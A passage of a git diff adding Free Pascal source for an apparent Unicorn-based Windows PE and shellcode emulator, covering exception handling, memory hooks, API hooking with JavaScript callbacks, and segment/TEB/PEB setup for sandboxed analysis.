ExceptionRecord .. + Utils.push(ZwContinue); // ZwContinue to set Context . + + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RAX,UC_X86_REG_EAX),@Zer0); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RBX,UC_X86_REG_EBX),@Zer0); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RSI,UC_X86_REG_ESI),@Zer0); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RDI,UC_X86_REG_EDI),@Zer0); + + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RCX,UC_X86_REG_ECX),@SEH_Handler); + + if ExceptionCode = EXCEPTION_ACCESS_VIOLATION then + Emulator.err := uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RIP,UC_X86_REG_EIP),@Emulator.SEH_Handler) + else + Emulator.IsException := True; + + Result := True; // Check if everything is ok :D ... +end; + +function HookMemInvalid(uc: uc_engine; _type: uc_mem_type; address: UInt64; size: Cardinal; value: Int64; user_data: Pointer): Boolean; cdecl; +begin + if Emulator.Stop then exit; + + TextColor(LightRed); + case _type of + UC_MEM_WRITE_UNMAPPED: + begin + if not Emulator.RunOnDll then + begin + + if VerboseExcp then + begin + TextColor(LightCyan); + WriteLn(Format('>>> EXCEPTION_ACCESS_VIOLATION WRITE_UNMAPPED at 0x%x, data size = %u, data value = 0x%x', [address, size, value])); + NormVideo; + end; + + if Handle_SEH(uc,EXCEPTION_ACCESS_VIOLATION) then + begin + uc_mem_map(uc, address, $1000, UC_PROT_ALL); + Emulator.MemFix.Push(address); + Result := True; + end; + end; + end; + UC_MEM_READ_UNMAPPED: + begin + if not Emulator.RunOnDll then + begin + + if VerboseExcp then + begin + TextColor(LightCyan); + WriteLn(Format('EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x%x, data size = %u, data value = 0x%x', [address, size, value])); + NormVideo; + end; + + if Handle_SEH(uc,EXCEPTION_ACCESS_VIOLATION) then + begin + uc_mem_map(uc, address, $1000, UC_PROT_ALL); + Emulator.MemFix.Push(address); + Result := True; + end; + end; + end; + UC_ERR_FETCH_UNMAPPED: + begin + if not Emulator.RunOnDll then + WriteLn(Format('>>> UC_ERR_FETCH_UNMAPPED : addr 0x%x, data size = %u, data value = 0x%x', [address, size, value])); + end; + UC_ERR_EXCEPTION: + begin + if (address <> $DEADC0DE) and (not Emulator.RunOnDll) then + WriteLn(Format('>>> UC_ERR_EXCEPTION : addr 0x%x, data size = %u, data value = 0x%x', [address, size, value])); + end; + else + begin + if not Emulator.RunOnDll then + begin + WriteLn(Format('>>> Errrrror : addr 0x%x, data size = %u, data value = 0x%x - Type %d ', + [address, size, value, _type])); + end; + + // return false to indicate we want to stop emulation + Result := false; + end; + end; + NormVideo; +end; + +procedure HookMemX86(uc: uc_engine; _type: uc_mem_type; address: UInt64; size: Cardinal; value: Int64; user_data: Pointer); cdecl; +var + val : UInt64; +begin + //if not VerboseEx then Exit; + if Emulator.Stop then exit; + case _type of + UC_MEM_READ: + begin + if (not Emulator.RunOnDll) then + if (address < Emulator.gs_address+$3000) and (address > Emulator.PEB_address ) + or + (address < Emulator.fs_address+$3000) and (address > Emulator.PEB_address ) + //or (address >= Emulator.Img.ImageBase) and (address <= Emulator.Img.ImageBase + $1000) + then + begin + val := 0; + uc_mem_read_(uc,address,@val,size); + WriteLn(Format('>>> Memory is being READ at 0x%x, data size = %u, data value = 0x%x', [address, size, val])); + end; + end; + UC_MEM_WRITE: + begin + if (not Emulator.RunOnDll) then + if (address < Emulator.gs_address+$3000) and (address > Emulator.PEB_address) then + WriteLn(Format('>>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x', [address, size, value])); + end; + end; +end; + +function CallJS(API : TLibFunction; Hook : THookFunction ;ret : UInt64) : boolean; +var + a: array[0..2] of PBESENValue; + JSEmuObj, JSAPIObj, return, AResult : TBESENValue; + JSAPI : TBESENObject; + isEx : Boolean; +begin + Result := False; + + if Assigned(JS) and Assigned(Hook.JSHook) and Assigned(Hook.JSHook.OnCallBack) then + begin + //Writeln(#10'====================== CallBack to JS =========================='#10); + + JSAPI := TBESENObject.Create(JS,TBESEN(JS).ObjectPrototype,false); + TBESEN(JS).GarbageCollector.Add(JSAPI); + + isEx := API.FuncName.EndsWith('Ex') or + API.FuncName.EndsWith('ExA') or + API.FuncName.EndsWith('ExW'); + + JSAPI.OverwriteData('IsEx',BESENBooleanValue(isEx),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('IsWapi',BESENBooleanValue(API.FuncName.EndsWith('W')),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('IsFW',BESENBooleanValue(API.IsForwarder),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('LibName',BESENStringValue(BESENUTF8ToUTF16(API.LibName)),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('name', BESENStringValue(BESENUTF8ToUTF16(API.FuncName)),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('FWName',BESENStringValue(BESENUTF8ToUTF16(API.FWName)),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('Address',BESENNumberValue(API.VAddress),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('Ordinal',BESENNumberValue(API.ordinal),[bopaCONFIGURABLE]); + TBESEN(JS).GarbageCollector.Protect(TBESENObject(JSAPI)); + + a[0]:=@JSEmuObj; + a[1]:=@JSAPIObj; + a[2]:=@return; + + JSEmuObj := BESENObjectValue(TBESENObject(JSEmu)); + JSAPIObj := BESENObjectValue(TBESENObject(JSAPI)); + return := BESENNumberValue(ret); + + try + AResult.ValueType := bvtBOOLEAN; + Hook.JSHook.OnCallBack.Call(BESENObjectValue(Hook.JSHook.OnCallBack), @a, 3, AResult); + except + on e: EBESENError do + begin + WriteLn(Format('%s ( Line %d ): %s', [e.Name, TBESEN(JS).LineNumber, e.Message])); + halt(-1); + end; + + on e: exception do + begin + WriteLn(Format('%s ( Line %d ): %s', ['Exception', TBESEN(JS).LineNumber, e.Message])); + halt(-1); + end; + end; + if AResult.ValueType = bvtBOOLEAN then + begin + if VerboseEx and (not Emulator.RunOnDll) then + Writeln('JS Return : ' ,BoolToStr(Boolean(AResult.Bool),'True','False')); + + Result := Boolean(AResult.Bool); + end; + TBESEN(JS).GarbageCollector.Unprotect(TBESENObject(JSAPI)); + FreeAndNil(JSAPI); + + //Writeln(#10'================================================================'#10); + end; +end; + +function CheckHook(uc : uc_engine ; PC : UInt64) : Boolean; +var + lib : TNewDll; + API : TLibFunction; + Hook : THookFunction; + APIHandled : Boolean; + ret : UInt64; +begin + ret := 0; + Result := False; APIHandled := False; + for lib in Emulator.Libs.Values do + begin // todo remove after implementing apischemia redirect . + if (PC > lib.BaseAddress) and (PC < (lib.BaseAddress + lib.ImageSize)) or ( (PC >= $30000) and (PC < $EFFFF) ) then + begin + if lib.FnByAddr.TryGetValue(PC,API) then + begin + // this's here cuz in some cases we don't let the API go far to the ret :D . + if not Emulator.RunOnDll then + Ident -= 3; + + Emulator.err := uc_reg_read(uc,ifthen(Emulator.Is_x64,UC_X86_REG_RSP,UC_X86_REG_ESP),@ret); + Emulator.err := uc_mem_read_(uc,ret,@ret,Emulator.Img.ImageWordSize); + + if API.IsOrdinal then + Emulator.Hooks.ByOrdinal.TryGetValue(API.ordinal,Hook) + else + begin + Emulator.Hooks.ByName.TryGetValue(API.FuncName, Hook); + { + This Check is for Ordinal Hook for normal API with Exported name + like "LoadLibraryA" - ORDINAL = 829 . + so the first Check by name will fail so we need to Check the + Ordinal One :D . + } + if (Hook.FuncName.IsEmpty) and (Hook.ordinal = 0) then + Emulator.Hooks.ByOrdinal.TryGetValue(API.ordinal,Hook); + end; + + API.Hits += 1; // how many times this API Called .API + API.Return := ret; // the Return Address used for OnExit CallBack . + if Assigned(Hook.JSHook) and Assigned(Hook.JSHook.OnExit) then + begin + Hook.API := API; + Emulator.OnExitList.AddOrSetValue(ret,Hook); + end; + + Result := True; + + if Verbose and (not Emulator.RunOnDll) then + begin + WriteLn(Format(#10'[+] Call to "%s.%s"',[API.LibName,IfThen(API.FuncName<>'',API.FuncName,'#'+hexStr(API.ordinal,3))])); + Writeln(Format('[#] Will Return to : 0x%x',[ret])); + if Api.IsForwarder then + begin + Writeln(Format('[!] "%s" is Forwarded to : "%s"',[IfThen(API.FuncName<>'',API.FuncName,'#'+hexStr(API.ordinal,3)),API.FWName])); + end; + end; + + if (Hook.JSHook <> nil) then + begin + APIHandled := CallJS(Api,Hook,ret); + // TODO: Check for Native CallBack :D .. + end + else if (Hook.NativeCallBack <> nil) then + begin + APIHandled := TFnCallBack(Hook.NativeCallBack)(uc,PC,ret); + end + else + begin + if (API.FuncName <> 'ExitProcess') and (not Emulator.RunOnDll) then + begin + TextColor(Crt.LightRed); + Writeln(); + WriteLn(Format('[x] UnHooked Call to %s.%-30s',[API.LibName,IfThen(API.FuncName<>'',API.FuncName,'#'+hexStr(API.ordinal,3))])); + Writeln(Format('[#] Will Return to : 0x%x',[ret])); + Writeln('!!! Stack Pointer May get Corrupted '#10); + NormVideo; + end; + end; + + if (API.FuncName = 'ExitProcess') and (not APIHandled) then + begin + Emulator.Stop := True; + break; + end; + if (not Emulator.Stop) then + begin + if not APIHandled then + begin + //====================== Fix Stack Pointer ================================// + Utils.pop(); // but this may Corrupt the Stack + //=========================================================================// + Emulator.err := uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RIP,UC_X86_REG_EIP),@ret); + end; + end; + break; + end + //else + //begin + // if not Emulator.RunOnDll then + // begin + // TextColor(LightMagenta); + // Writeln(Format('Code Run Inside "%s" Hidden at 0x%x - From 0x%x',[lib.Dllname,PC,ret])); + // NormVideo; + // end; + //end; + end; + end; +end; + +procedure CheckOnExitCallBack(IsAPI : boolean; PC : UInt64); +var + Args : array[0..2] of PBESENValue; + JSAPI : TBESENObject; + JSEmuObj, JSAPIObj, AResult : TBESENValue; + Hook : THookFunction; + isEx : Boolean; +begin + // Check if it's no an API Call :D just to make sure . + if (not IsAPI) then + if Emulator.OnExitList.TryGetValue(PC,Hook) then + if Assigned(Hook.JSHook) and Assigned(JS) then // Check if an API already Called . + begin + if Hook.API.Return = PC then + begin + if Assigned(Hook.JSHook.OnExit) then // check if we have OnExit Callback . + begin + JSAPI := TBESENObject.Create(JS,TBESEN(JS).ObjectPrototype,false); + TBESEN(JS).GarbageCollector.Add(JSAPI); + + isEx := Hook.API.FuncName.EndsWith('Ex') or Hook.API.FuncName.EndsWith('ExA') or Hook.API.FuncName.EndsWith('ExW'); + JSAPI.OverwriteData('IsEx',BESENBooleanValue(isEx),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('IsWapi',BESENBooleanValue(Hook.API.FuncName.EndsWith('W')),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('IsFW',BESENBooleanValue(Hook.API.IsForwarder),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('LibName',BESENStringValue(BESENUTF8ToUTF16(Hook.API.LibName)),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('name', BESENStringValue(BESENUTF8ToUTF16(Hook.API.FuncName)),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('FWName',BESENStringValue(BESENUTF8ToUTF16(Hook.API.FWName)),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('Address',BESENNumberValue(Hook.API.VAddress),[bopaCONFIGURABLE]); + JSAPI.OverwriteData('Ordinal',BESENNumberValue(Hook.API.ordinal),[bopaCONFIGURABLE]); + TBESEN(JS).GarbageCollector.Protect(TBESENObject(JSAPI)); + + Args[0]:=@JSEmuObj; + Args[1]:=@JSAPIObj; + + JSEmuObj := BESENObjectValue(TBESENObject(JSEmu)); + JSAPIObj := BESENObjectValue(TBESENObject(JSAPI)); + + try + AResult.ValueType := bvtBOOLEAN; + Hook.JSHook.OnExit.Call(BESENObjectValue(Hook.JSHook.OnExit), @Args, 2, AResult); + except + on e: EBESENError do + begin + WriteLn(Format('%s ( Line %d ): %s', [e.Name, TBESEN(JS).LineNumber, e.Message])); + halt(-1); + end; + + on e: exception do + begin + WriteLn(Format('%s ( Line %d ): %s', ['Exception', TBESEN(JS).LineNumber, e.Message])); + halt(-1); + end; + end; + TBESEN(JS).GarbageCollector.Unprotect(TBESENObject(JSAPI)); + FreeAndNil(JSAPI); + end; + end; + end; +end; + +procedure HookCode(uc: uc_engine; address: UInt64; size: Cardinal; user_data: Pointer); cdecl; +var + PC , tmp : UInt64; + code : Array [0..49] of byte; // 50 is good for asm ins . + IsAPI : boolean; + ins : TCsInsn; + cmd : string; + FixAddr : UInt64; +begin + PC := 0; FixAddr := 0; + IsAPI := False; + + if Emulator.MemFix.Count > 0 then + begin + for FixAddr in Emulator.MemFix do + begin + uc_mem_unmap(uc,FixAddr,$1000); + end; + end; + + if Emulator.IsException then + begin + Emulator.err := uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RIP,UC_X86_REG_EIP),@Emulator.SEH_Handler); + Emulator.IsException := False; + Exit; + end; + + if Steps_limit <> 0 then + if Steps >= Steps_limit then + Emulator.Stop := True; + + if Emulator.Stop then + begin + Emulator.err := uc_emu_stop(uc); + exit; + end; + // Get PC (EIP - RIP) and - ESP Value . + Emulator.err := uc_reg_read(uc, ifthen(Emulator.Is_x64,UC_X86_REG_RIP,UC_X86_REG_EIP), @PC); + Emulator.LastGoodPC := PC; + + // TODO: add Address Hook . + + // TODO: add InterActive Commands . + + + //Emulator.Flags.FLAGS := reg_read_x64(uc,UC_X86_REG_EFLAGS); + IsAPI := CheckHook(uc,PC); + + // Check if the API hash an OnExit CallBack . + CheckOnExitCallBack(IsAPI,PC); + + if (ShowASM) and (not IsAPI) and (not Emulator.RunOnDll) then + begin + Initialize(code); + FillByte(code,Length(code),0); + Emulator.err := uc_mem_read_(uc,address,@code,15); + ins := DisAsm(@code,address,size); + + Writeln(Format('0x%x %s %s %s', [Address,DupeString(' ',Ident), ins.mnemonic, ins.op_str])); + + if ins.mnemonic = 'call' then Ident += 3; + if ins.mnemonic = 'ret' then Ident -= 3; + end; + + // rdtsc + if size = 2 then + begin + FillByte(code,Length(code),0); + uc_mem_read_(uc,address,@code,2); + if (code[0] = $F) and (code[1] = $31) then + begin + reg_write_x32(uc,UC_X86_REG_EAX,RandomRange(100000,101000)); + reg_write_x32(uc,UC_X86_REG_EDX,$0); + PC += size; + Emulator.err := uc_reg_write(uc, ifthen(Emulator.Is_x64,UC_X86_REG_RIP,UC_X86_REG_EIP), @PC); + end; + end; + if (not Emulator.RunOnDll) and (Steps_limit <> 0) then + Steps += 1; +end; + +procedure hook_intr(uc: uc_engine; intno: UInt32; user_data: Pointer); cdecl; +var + PC : UInt64; +begin + if Emulator.Stop then + begin + Emulator.err := uc_emu_stop(uc); + exit; + end; + if Emulator.RunOnDll then Exit; + + PC := 0; + Emulator.err := uc_reg_read(uc, ifthen(Emulator.Is_x64,UC_X86_REG_RIP,UC_X86_REG_EIP), @PC); + + TextColor(LightMagenta); + Writeln(); + Writeln(Format('Exception interrupt at : 0x%x',[PC])); + NormVideo; + + case intno of + $3,$2D : + begin + Handle_SEH(uc,EXCEPTION_BREAKPOINT); + end; + else + Writeln('interrupt ',intno , ' not supported yet ...'); + Emulator.Stop := True; + end; +end; + +procedure HookSysCall(uc : uc_engine; UserData : Pointer); +var + PC : UInt64; +begin + PC := 0; + Emulator.err := uc_reg_read(uc, ifthen(Emulator.Is_x64,UC_X86_REG_RIP,UC_X86_REG_EIP), @PC); + TextColor(LightMagenta); + Writeln(Format('Syscall at : 0x%x',[PC])); + NormVideo; +end; + +procedure HookSysEnter(uc : uc_engine; UserData : Pointer); +var + PC,EAX : UInt64; +begin + PC := 0; EAX := 0; + Emulator.err := uc_reg_read(uc, ifthen(Emulator.Is_x64,UC_X86_REG_RIP,UC_X86_REG_EIP), @PC); + Emulator.err := uc_reg_read(uc, ifthen(Emulator.Is_x64,UC_X86_REG_RAX,UC_X86_REG_EAX), @EAX); + + TextColor(LightMagenta); + Writeln(Format('SysEnter at : 0x%x',[PC])); + Writeln(Format('EAX : 0x%x',[EAX])); + NormVideo; +end; + +procedure TEmu.SetHooks(); +var + trace1, trace2, trace3, trace4, trace5, trace6 , trace7: uc_hook; +begin + //uc_hook_add(uc, trace1, UC_HOOK_MEM_WRITE, @HookMemX86, nil, 1, 0,[]); + //uc_hook_add(uc, trace2, UC_HOOK_MEM_READ, @HookMemX86, nil, 1, 0,[]); + + Emulator.err := uc_hook_add(uc, trace3, + UC_HOOK_MEM_READ_UNMAPPED or + UC_HOOK_MEM_WRITE_UNMAPPED or + UC_HOOK_MEM_READ_PROT or + UC_HOOK_MEM_WRITE_PROT or + UC_HOOK_MEM_FETCH_PROT or + UC_HOOK_MEM_FETCH_UNMAPPED, + @HookMemInvalid, nil,1,0,[]); + + if Speed then + Emulator.err := uc_hook_add(uc, trace4, UC_HOOK_BLOCK, @HookCode, nil, 1, 0,[]) + else + Emulator.err := uc_hook_add(uc, trace4, UC_HOOK_CODE, @HookCode, nil, 1, 0,[]); + + Emulator.err := uc_hook_add(uc, trace5, UC_HOOK_INTR, @hook_intr, nil, 1, 0,[]); + + Emulator.err := uc_hook_add(uc, trace6, UC_HOOK_INSN, @HookSysCall, nil, 1, 0,[UC_X86_INS_SYSCALL]); + + Emulator.err := uc_hook_add(uc, trace7, UC_HOOK_INSN, @HookSysEnter, nil, 1, 0,[UC_X86_INS_SYSENTER]); + +end; + +function TEmu.MapPEtoUC() : Boolean; +begin + Result := False; + if uc_mem_map(uc,img.ImageBase,Align(img.SizeOfImage,UC_PAGE_SIZE),UC_PROT_ALL) = UC_ERR_OK then + begin + Writeln('[√] PE Mapped to Unicorn'); + if uc_mem_write_(uc,img.ImageBase,MapedPE,PE.Size) = UC_ERR_OK then + begin + Writeln('[√] PE Written to Unicorn'); + + Writeln(); + Writeln('[---------------- PE Info --------------]'); + Writeln('[*] File Name : ' , ExtractFileName(img.FileName)); + Writeln('[*] Image Base : ', hexStr(img.ImageBase,16)); + Writeln('[*] Address Of Entry : ', hexStr(img.EntryPointRVA,16)); + Writeln('[*] Size Of Headers : ', hexStr(img.OptionalHeader.SizeOfHeaders,16)); + Writeln('[*] Size Of Image : ', hexStr(img.SizeOfImage,16)); + Writeln('[---------------------------------------]'); + Result := True; + end; + if isShellCode then + begin + if Assigned(SCode) then + begin + Writeln('[*] Writing Shellcode to memory ...'); + if uc_mem_write_(uc,img.ImageBase + Img.EntryPointRVA,SCode.Memory,SCode.Size) = UC_ERR_OK then + begin + Writeln('[√] Shellcode Written to Unicorn'); + end; + end; + end; + end; + Writeln(); +end; + +procedure TEmu.Start(); +var + Entry : UInt64 = 0; + Start, _End : UInt64; +begin + Entry := 0; + SetHooks(); + Writeln('[√] Set Hooks'); + if MapPEtoUC then + begin + if load_sys_dll(uc,'ntdll.dll') then // loaded by Default in Win so we load it first . + if load_sys_dll(uc,'kernel32.dll') then // second :D but maybe i should put kernelbase.dll .. + if load_sys_dll(uc,'kernelbase.dll') then + begin + // Hook PE Imports + + HookImports_Pse(uc,Img,FilePath); + //HookImports(uc,Img); + + if not init_segments() then + begin + Writeln('Can''t init Segments , last Err : ',uc_strerror(err)); + halt(-1); + end; + + { + The Order here is Important - first we load all JS API Hooks + Then init all dlls and TLS then call Entry Point . + } + InstallNativeHooks(); // 0 + + js.InitJSEmu(); // 1 . + js.LoadPlugin(AnsiString(JSAPI)); // 2 . + + + Init_dlls(); // 3 . + + InitTLS(uc,Self.Img); // 4 . + + Writeln(); + TextColor(LightCyan); + Writeln('[>] Run ',ExtractFileName(self.Img.FileName),#10); + NormVideo; + + // initial stack Pointer . + r_esp := ((Emulator.stack_base + Emulator.stack_size) - $100); + r_esp := r_esp and $FFFFFF00; // align the stack . + + err := uc_reg_write(uc, UC_X86_REG_ESP, @r_esp); // ESP . + err := uc_reg_write(uc, UC_X86_REG_EBP, @r_esp); // EBP . + + // Reseting the EFLAGS is important for some caese - + // so { don't Delete it :D } + ResetEFLAGS(); + + + Entry := img.ImageBase + img.EntryPointRVA; + + // to emulater the call edx :D .. needed in some cases - Don't Delete it . + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RDX,UC_X86_REG_EDX),@Entry); + + Start := GetTickCount64; + if isShellCode then + err := uc_emu_start(uc,Entry, + img.ImageBase + img.EntryPointRVA + SCode.Size,0,0) + else + err := uc_emu_start(uc,Entry, + img.ImageBase + img.SizeOfImage,0,0); + + _End := GetTickCount64; + end; + end; + Writeln(); + + if Steps_limit <> 0 then + Write(Format('%d %s - ',[Steps, ifthen(Speed,'Branches','Steps')])); + + Writeln(Format('Executed in %d ms',[(_end - Start)])); + + Writeln(); + Writeln('Cmulator Stop >> last Error : ',uc_strerror(err)); +end; + +function TEmu.GetGDT(index : Integer): Pointer; +begin + Result := {%H-}Pointer({%H-}QWord(gdt) + (index * SizeOf(TSegmentDescriptor))); +end; + +procedure TEmu.ResetEFLAGS(); +begin + Flags.FLAGS := $202; + reg_write_x64(uc,UC_X86_REG_EFLAGS,Flags.FLAGS); +end; + +function TEmu.init_segments() : boolean; +var + msr : uc_x86_msr; + tmp : UInt64; +begin + Result := false; + + stack_base := $200000; + stack_size := $60000; + stack_limit := stack_base - stack_size; + r_esp := ((stack_base + stack_size) - $70); // initial stack Pointer . + + gs_address := 0; + + if Is_x64 then + begin + fs_address := $7FFFFFC0000; // i think this one not set in x64 :D . + gs_address := $7FFFFFE0000; // TEB ... + TEB_Address := gs_address; + PEB_address := gs_address - $10000; // PEB ... + end + else + begin + fs_address := $7FFE0000; + TEB_Address := fs_address; + PEB_address := fs_address - $10000; // PEB ... + end; + + if Is_x64 then + begin + // FS not accessable from usermode for x64 - i think :D.. + //msr.rid := FSMSR; + //msr.value := fs_address; + //uc_reg_write(uc,UC_X86_REG_MSR,@msr); + + // GS Point to TIB in x64 .. + msr.rid := GSMSR; + msr.value := gs_address; + uc_reg_write(uc,UC_X86_REG_MSR,@msr); + end; + + // Setup FLAFS :D .. + ResetEFLAGS(); + + + r_cs := CreateSelector(14, S_GDT or S_PRIV_3); // $73; + r_ds := CreateSelector(15, S_GDT or S_PRIV_3); // $7b; + r_es := CreateSelector(15, S_GDT or S_PRIV_3); // $7b; + r_gs := CreateSelector(15, S_GDT or S_PRIV_3); // $7b; + r_fs := CreateSelector(16, S_GDT or S_PRIV_3); // $83; + r_ss := CreateSelector(17, S_GDT or S_PRIV_0); // $88; //ring 0 . + + gdt_address := $C0000000; + gdtr.base := gdt_address; + gdtr.limit := 31 * sizeof(TSegmentDescriptor) - 1; + + gdt := CAlloc(31,SizeOf(TSegmentDescriptor)); + + Init_Descriptor(GetGDT(14),0,$fffff000,true); // code segment . + Init_Descriptor(GetGDT(15),0,$fffff000,false); // data segment . + Init_Descriptor(GetGDT(16),fs_address,$fff,false); // one page data segment simulate fs + Init_Descriptor(GetGDT(17),0,$fffff000,false); // ring 0 data + {%H-}PSegmentDescriptor(GetGDT(17))^.dpl := 0; // set descriptor privilege level . + + // TODO: remove it after implementing Mem Manager. + tmp := $40000000; + err := uc_mem_map(uc, tmp, $30000000, UC_PROT_ALL); + + // Now map everything :D .. + if err = UC_ERR_OK then + err := uc_mem_map(uc, stack_base, stack_size, UC_PROT_READ or UC_PROT_WRITE); + if err = UC_ERR_OK then + begin + err := uc_mem_map(uc, gdt_address, $10000, UC_PROT_WRITE or UC_PROT_READ); + if err = UC_ERR_OK then + begin + err := uc_reg_write(uc, UC_X86_REG_GDTR, @gdtr); + if err = UC_ERR_OK then + begin + err := uc_mem_write_(uc, gdt_address, gdt, 31 * SizeOf(TSegmentDescriptor)); + if err = UC_ERR_OK then + begin + err := uc_mem_map(uc, fs_address, $4000, UC_PROT_WRITE or UC_PROT_READ); + if err = UC_ERR_OK then + begin + begin + err := uc_reg_write(uc, UC_X86_REG_ESP, @r_esp); + if err = UC_ERR_OK then + begin + err := uc_reg_write(uc, UC_X86_REG_SS, @r_ss); + if err = UC_ERR_OK then + begin + err := uc_reg_write(uc, UC_X86_REG_CS, @r_cs); + if err = UC_ERR_OK then + begin + err := uc_reg_write(uc, UC_X86_REG_DS, @r_ds); + if err = UC_ERR_OK then + begin + err := uc_reg_write(uc, UC_X86_REG_ES, @r_es); + if err = UC_ERR_OK then + begin + err := uc_reg_write(uc, UC_X86_REG_FS, @r_fs); + if err = UC_ERR_OK then + begin + err := uc_reg_write(uc,UC_X86_REG_GS, @r_gs); + if err = UC_ERR_OK then + begin + if Is_x64 then + begin + err := uc_mem_map(uc, gs_address, $4000, UC_PROT_WRITE or UC_PROT_READ); + if err = UC_ERR_OK then + Result := true; + end + else + Result := true; + + err := uc_mem_map(uc, PEB_address, $10000, UC_PROT_WRITE or UC_PROT_READ); + if err = UC_ERR_OK then + begin + if Result then + if InitTEB_PEB(uc,fs_address,gs_address,PEB_address,stack_base,stack_limit,Is_x64) then + Writeln('[+] Segments & (TIB - PEB) Init Done .') + else + Result := False; + end + else + Result := False; + end; + end; + end; + end; + end; + end; + end; + end; + end; + end; + end; + end; + end; + Writeln(); +end; + +constructor TEmu.Create(_FilePath : string; _ShellCode, SCx64 : Boolean); +begin + // Until Unicorn Engine fix it :D + MemFix := TStack<UInt64>.Create; + + LastGoodPC := 0; + SEH_Handler := 0; + IsException := False; + Shellcode := _FilePath; + // the file is Shellcode . + isShellCode := _ShellCode; + + FilePath := _FilePath; + Self.Stop := False; + + PE := nil; SCode := nil; + OnExitList := TOnExit.Create(); + + Hooks.ByName := THookByName.Create(); + Hooks.ByOrdinal := THookByOrdinal.Create(); + + + if isShellCode then + begin + FilePath := './shellcode/' + IfThen(SCx64,'sc64.exe','sc32.exe'); // these are empty files with PE header. + end; + if FileExists(FilePath) then + begin + img := TPEImage.Create(); + if img.LoadFromFile(FilePath) then + begin + Is_x64 := img.Is64bit; + CPU_MODE := ifthen(Is_x64,UC_MODE_64,UC_MODE_32); + + Write(Format('"%s"',[ExtractFileName(FilePath)])); + Writeln(IfThen(Is_x64,' is : x64',' is : x32')); + + Writeln('Mapping the File ..'#10); + PE := MapPE(img,FilePath); + if PE = nil then // Check if Mapping Ok . + begin + PE.Free; // Free the Stream before Exit . + Writeln('Error while Map the PE'); + halt(1); + end; + MapedPE := PE.Memory; + if isShellCode then + begin + SCode := TMemoryStream.Create; + SCode.LoadFromFile(Shellcode); + SCode.Position := 0; + end; + + // Libraries Stuff .... + Libs := TLibs.Create(); + // Set Dll Base loading ... + if Is_x64 then + begin + Self.DLL_BASE_LOAD := $0000000070000000;// $000007FEE0000000; + end + else + begin + Self.DLL_BASE_LOAD := $0000000070000000; + end; + Self.DLL_NEXT_LOAD := Self.DLL_BASE_LOAD; + end + else + begin + IsSC := true; + Writeln('Error While Loading : "',FilePath,'" not a valid PE File'); + halt(-1); + end; + end + else + begin + Writeln('file not found !'); + halt(-1); + end; + + err := uc_open(UC_ARCH_X86,CPU_MODE,uc); + + if err = UC_ERR_OK then + begin + Writeln('[+] Unicorn Init done .'); + end + else + begin + Writeln('Error While loading Unicorn : ',uc_strerror(err)); + halt(-1); + end; +end; + +destructor TEmu.Destroy(); +begin + Self.Stop := True;// just to make sure :D + + if uc <> nil then + uc_close(uc); + + if Assigned(OnExitList) then + FreeAndNil(OnExitList); + + if Assigned(PE) then + begin + FreeAndNil(PE); + end; + if Assigned(SCode) then + begin + FreeAndNil(SCode); + end; + if Assigned(Self.FLibs) then + begin + Self.FLibs.Clear; + FreeAndNil(FLibs); + end; + inherited Destroy; +end; + +end. + diff --git a/Core/fnhook.pas b/Core/fnhook.pas new file mode 100644 index 0000000..1c16739 --- /dev/null +++ b/Core/fnhook.pas @@ -0,0 +1,134 @@ +unit FnHook; + +{$mode delphi} + +interface + +uses + Classes, SysUtils, + Unicorn_dyn , UnicornConst, X86Const, + Generics.Collections,Generics.Defaults, + {$I besenunits.inc},JSPlugins_BEngine; + +type + + TFnCallBack = function( uc : uc_engine; Address , ret : UInt64 ) : Boolean; stdcall; + + { TLibFunction } + TLibFunction = record + Hits : Integer; // how many times this API called . + IsForwarder, IsOrdinal : Boolean; + LibName, + FuncName, + FWName : string; + VAddress : UInt64; + ordinal : UInt32; + UserData : PQWord; // Pointer to user data . + Return : Int64; // Return Adddress of the API - used to call the OnExit . + class function Create(const LibName, FnName : string; + VAddr : UInt64; + Ordinal : UInt32; + UserData : PQWord; + FIsForwarder, IsOrdinal : Boolean; + FWName : string): TLibFunction; static; + end; + + { THookFunction } + THookFunction = record + LibName, FuncName : String; + ordinal : UInt32; + IsOrdinal : Boolean; + API : TLibFunction; + NativeCallBack : Pointer; + JSHook : TNewHook; + class function Create(const LibName, FnName : string; + Ordinal : UInt32; + IsOrdinal : Boolean = False; + NCallBack : Pointer = nil; // Native Callback - next version . + JSHook : TNewHook = nil): THookFunction; static; + end; + + { TNewDll } + + TNewDll = record + Dllname, + Path, + version : string; + EntryPoint, + BaseAddress : UInt64; + ImageSize : UInt32; + + HookBase, HookEnd : UInt64; + + { i don't remember why i put this variable here :V } + //MemPtr : PQWord; // use PQWORD instead of Pointer just in case someone compile to x32 . + + // < FnAddress, HookSetting > + + FnByAddr : TFastHashMap<UInt64, TLibFunction>; + FnByOrdinal : TFastHashMap<UInt64, TLibFunction>; + FnByName : TFastHashMap<String, TLibFunction>; + + class function Create(EntryPoint : UInt64; const LibName : string; FBaseAddress : UInt64; + FImageSize : UInt32; + ByAddr : TFastHashMap<UInt64, TLibFunction>; + ByOrdinal : TFastHashMap<UInt64, TLibFunction>; + ByName : TFastHashMap<String, TLibFunction>): TNewDll; static; + end; + +implementation + +{ THookFunction } + +class function THookFunction.Create( + const LibName, 